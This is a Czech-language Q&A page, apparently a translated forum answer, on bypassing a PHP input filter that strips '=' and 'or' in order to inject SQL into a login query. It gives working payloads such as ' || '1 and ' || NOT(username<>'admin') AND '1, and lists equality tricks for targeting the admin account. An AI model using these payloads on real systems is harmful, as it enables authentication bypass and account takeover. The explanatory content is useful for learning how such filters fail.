sql >> Databáze >  >> RDS >> Mysql

SQL injection s php filtrováním

Za předpokladu tato definice lvl2_filter , který v podstatě odstraňuje jakýkoli výskyt = a or dokud již nebude nalezen, mělo by být stále možné používat logická operace OR s || místo OR a jednoduchý výraz, který se vyhodnotí jako true like:

username: dummy
password: ' || '1

Výsledkem by bylo:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Pro výběr konkrétního uživatele lze použít pravidla booleovské algebry , kde x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Výsledkem by bylo:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Zde <> je ekvivalentní != ale neobsahuje = .

Existují také další operace, které lze použít k zajištění uživatelského jména rovná se admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END



  1. Jak se používají hodnotící algoritmy Reddit a Hacker News?

  2. Amazon EC2, mysql se ruší, protože InnoDB:mmap (x bajtů) se nezdařilo; chyba 12

  3. Jak aktualizovat dvě tabulky v jednom příkazu?

  4. Sloučit 2 tabulky pro dotaz SELECT?